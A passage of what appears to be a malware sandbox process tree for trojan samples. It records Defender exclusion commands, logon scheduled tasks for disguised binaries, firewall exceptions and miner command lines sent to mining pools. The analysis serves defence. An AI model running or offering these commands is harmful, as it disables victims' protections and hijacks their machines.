                                                                                                                  PID:6112
                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\Test.exe"
                                                                                                                  4⤵
                                                                                                                  • Views/modifies file attributes
                                                                                                                  PID:5692
                                                                                                              • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-c6c9839ec2200f6179aec6e5fa62a33bed1434311c521ffa3cc58edfe7177b96.exe
                                                                                                                HEUR-Trojan.MSIL.Crypt.gen-c6c9839ec2200f6179aec6e5fa62a33bed1434311c521ffa3cc58edfe7177b96.exe
                                                                                                                3⤵
                                                                                                                  PID:5880
                                                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-c984a49c2ace744bfffd097cacc8c8a135c38bebae82da223d9e8a07052b7793.exe
                                                                                                                  HEUR-Trojan.MSIL.Crypt.gen-c984a49c2ace744bfffd097cacc8c8a135c38bebae82da223d9e8a07052b7793.exe
                                                                                                                  3⤵
                                                                                                                    PID:6100
                                                                                                                    • C:\Users\Admin\AppData\Local\Tempw4w03aseywv.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Tempw4w03aseywv.exe"
                                                                                                                      4⤵
                                                                                                                        PID:5776
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"' & exit
                                                                                                                          5⤵
                                                                                                                            PID:3452
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"'
                                                                                                                              6⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:6636
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCC3F.tmp.bat""
                                                                                                                            5⤵
                                                                                                                              PID:5736
                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                timeout 3
                                                                                                                                6⤵
                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                PID:7508
                                                                                                                              • C:\Users\Admin\AppData\Roaming\System.exe
                                                                                                                                "C:\Users\Admin\AppData\Roaming\System.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:3172
                                                                                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-ca3162231726b06f20bb7ee4becea47659cbb4b43cdd9ceb26374368d7af39a5.exe
                                                                                                                            HEUR-Trojan.MSIL.Crypt.gen-ca3162231726b06f20bb7ee4becea47659cbb4b43cdd9ceb26374368d7af39a5.exe
                                                                                                                            3⤵
                                                                                                                              PID:6316
                                                                                                                              • C:\Users\Admin\AppData\Roaming\Steam.exe
                                                                                                                                "C:\Users\Admin\AppData\Roaming\Steam.exe"
                                                                                                                                4⤵
                                                                                                                                  PID:4628
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Steam.exe" "Steam.exe" ENABLE
                                                                                                                                    5⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:7688
                                                                                                                              • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-cbec43084879c88dfb356a7b6ee92bb2c584a57a9194a4d2b887a4fb844194a5.exe
                                                                                                                                HEUR-Trojan.MSIL.Crypt.gen-cbec43084879c88dfb356a7b6ee92bb2c584a57a9194a4d2b887a4fb844194a5.exe
                                                                                                                                3⤵
                                                                                                                                  PID:6092
                                                                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-dea75e4f473dadd5a7ad233df896f3fc6b41bb0bde3ca07bd3a6c873d496aff3.exe
                                                                                                                                  HEUR-Trojan.MSIL.Crypt.gen-dea75e4f473dadd5a7ad233df896f3fc6b41bb0bde3ca07bd3a6c873d496aff3.exe
                                                                                                                                  3⤵
                                                                                                                                    PID:3676
                                                                                                                                  • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Cryptos.gen-64de0c5f741bfb9aea745417a70ac8e50c4a2fc1e4fbe1e0dd98fb03ba97436c.exe
                                                                                                                                    HEUR-Trojan.MSIL.Cryptos.gen-64de0c5f741bfb9aea745417a70ac8e50c4a2fc1e4fbe1e0dd98fb03ba97436c.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:5240
                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                        4⤵
                                                                                                                                          PID:4684
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:6080
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:9188
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:9896
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"c:\windows\system32\services64.exe"' & exit
                                                                                                                                          4⤵
                                                                                                                                            PID:7448
                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"c:\windows\system32\services64.exe"'
                                                                                                                                              5⤵
                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                              PID:7296
                                                                                                                                          • C:\windows\system32\services64.exe
                                                                                                                                            "C:\windows\system32\services64.exe"
                                                                                                                                            4⤵
                                                                                                                                              PID:5692
                                                                                                                                              • C:\windows\system32\cmd.exe
                                                                                                                                                "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                5⤵
                                                                                                                                                  PID:6224
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                    6⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    PID:7000
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                    6⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    PID:8508
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                    6⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    PID:5864
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"c:\windows\system32\services64.exe"' & exit
                                                                                                                                                  5⤵
                                                                                                                                                    PID:8404
                                                                                                                                                    • \??\c:\windows\system32\schtasks.exe
                                                                                                                                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"c:\windows\system32\services64.exe"'
                                                                                                                                                      6⤵
                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                      PID:8272
                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=45HEvN8HBN83cQ41zKqtdZ7jtMvcbQgdjFQ48pWvoouAbEwp1Y1EdQw2wkXTEHRqrsiL5idNsS2nt1bB4BeBmmk66Zc8kd5 --pass=x --cpu-max-threads-hint=30 --cinit-idle-wait=3 --cinit-idle-cpu=100 --tls
                                                                                                                                                    5⤵
                                                                                                                                                      PID:7556
                                                                                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Cryptos.gen-821d702c28a7a47cb091499b1ecc97864c7b3311e41af2919bf5ea94ad537e53.exe
                                                                                                                                                  HEUR-Trojan.MSIL.Cryptos.gen-821d702c28a7a47cb091499b1ecc97864c7b3311e41af2919bf5ea94ad537e53.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2764
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\WindowsDefender.exe"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5444
                                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                          "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                          5⤵
                                                                                                                                                            PID:2448
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                              6⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              PID:4352
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                              6⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              PID:9180
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                              6⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              PID:12164
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Windows\system32\Services.exe"' /RU "SYSTEM" & exit
                                                                                                                                                            5⤵
                                                                                                                                                              PID:7436
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Windows\system32\Services.exe"' /RU "SYSTEM"
                                                                                                                                                                6⤵
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:3944
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:5504
                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:3532
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:2276
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:7820
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:9960
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' /RU "SYSTEM" & exit
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:7896
                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                      schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' /RU "SYSTEM"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                      PID:7924
                                                                                                                                                                  • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                                                                                                                                                                    "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:7408
                                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:7496
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                            PID:7300
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                            PID:10020
                                                                                                                                                                      • C:\Windows\system32\services32.exe
                                                                                                                                                                        "C:\Windows\system32\services32.exe"
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:7560
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:6520
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                                7⤵
                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                PID:7348
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                                7⤵
                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                PID:12184
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' /RU "SYSTEM" & exit
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5516
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' /RU "SYSTEM"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:9424
                                                                                                                                                                          • C:\Windows\SysWOW64\NOTEPAD.EXE
                                                                                                                                                                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\00454\ERROR REPORT.txt
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:5524
                                                                                                                                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Cryptos.gen-a337b9d5ac830755650f3aa922bb18dc59b8667c514a1463c937711765207d06.exe
                                                                                                                                                                            HEUR-Trojan.MSIL.Cryptos.gen-a337b9d5ac830755650f3aa922bb18dc59b8667c514a1463c937711765207d06.exe
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2196
                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:6692
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    PID:5516
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    PID:8236
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    PID:9972
                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost64" /tr '"c:\windows\system32\svchost64.exe"' & exit
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:6604
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks /create /f /sc onlogon /rl highest /tn "svchost64" /tr '"c:\windows\system32\svchost64.exe"'
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:6004
                                                                                                                                                                                  • C:\windows\system32\svchost64.exe
                                                                                                                                                                                    "C:\windows\system32\svchost64.exe"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:7456
                                                                                                                                                                                      • C:\windows\system32\cmd.exe
                                                                                                                                                                                        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:7600
                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                            PID:1200
                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                            PID:5588
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost64" /tr '"c:\windows\system32\svchost64.exe"' & exit
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:1732
                                                                                                                                                                                            • \??\c:\windows\system32\schtasks.exe
                                                                                                                                                                                              schtasks /create /f /sc onlogon /rl highest /tn "svchost64" /tr '"c:\windows\system32\svchost64.exe"'
                                                                                                                                                                                              6⤵
                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                              PID:8356
                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                            C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=4AA9YGzFAKPYKEcoGNp9cW763K3zVQprVWEWymRzY4n5AZPSKRnx3DY98nHbf3wkxEEWkuwzbi8sjLm6noozdeHQJtUHp26.NITROSVC/12345 --pass= --cpu-max-threads-hint=20 --cinit-idle-wait=1 --cinit-idle-cpu=50 --cinit-stealth
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:7832
                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-a670218090f05c2a429b5ee9003371b14dfa1e6d1eac85108eec37fc84c5e5b6.exe
                                                                                                                                                                                          HEUR-Trojan.Win32.Crypt.gen-a670218090f05c2a429b5ee9003371b14dfa1e6d1eac85108eec37fc84c5e5b6.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:6344
                                                                                                                                                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-ad059ada4911aa16829da483216cb466f07613edbc0f9f65a5ffd04ab1ea1732.exe
                                                                                                                                                                                            HEUR-Trojan.Win32.Crypt.gen-ad059ada4911aa16829da483216cb466f07613edbc0f9f65a5ffd04ab1ea1732.exe
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4928
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:6936
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\setup_install.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\setup_install.exe"
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:7080
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c arnatic_1.exe
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:7988
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_1.exe
                                                                                                                                                                                                            arnatic_1.exe
                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                              PID:8168
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_1.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_1.exe" -a
                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                  PID:7400
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c arnatic_2.exe
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:7996
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_2.exe
                                                                                                                                                                                                                  arnatic_2.exe
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                    PID:8152
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 8152 -s 380
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                      PID:7116
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_3.exe
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:8004
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_3.exe
                                                                                                                                                                                                                      arnatic_3.exe
                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                        PID:8176
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 8176 -s 1852
                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:7324
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c arnatic_4.exe
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:8012
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_4.exe
                                                                                                                                                                                                                          arnatic_4.exe
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                            PID:7316
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c arnatic_5.exe
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:8020
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_5.exe
                                                                                                                                                                                                                              arnatic_5.exe
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:1276
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c arnatic_6.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:8028
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_6.exe
                                                                                                                                                                                                                                  arnatic_6.exe
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:7308
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_7.exe
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:8036
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS81BEEFF9\arnatic_7.exe
                                                                                                                                                                                                                                      arnatic_7.exe
                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                        PID:8160
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 540
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:7336
                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-ecf7f3127f2bd944475638ba4fd6f0e38266b87f3067529705284cd5038400e4.exe
                                                                                                                                                                                                                                HEUR-Trojan.Win32.Crypt.gen-ecf7f3127f2bd944475638ba4fd6f0e38266b87f3067529705284cd5038400e4.exe
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6372
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\setup_install.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\setup_install.exe"
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:6100
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c arnatic_1.exe
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:7616
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_1.exe
                                                                                                                                                                                                                                            arnatic_1.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:7948
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_1.exe
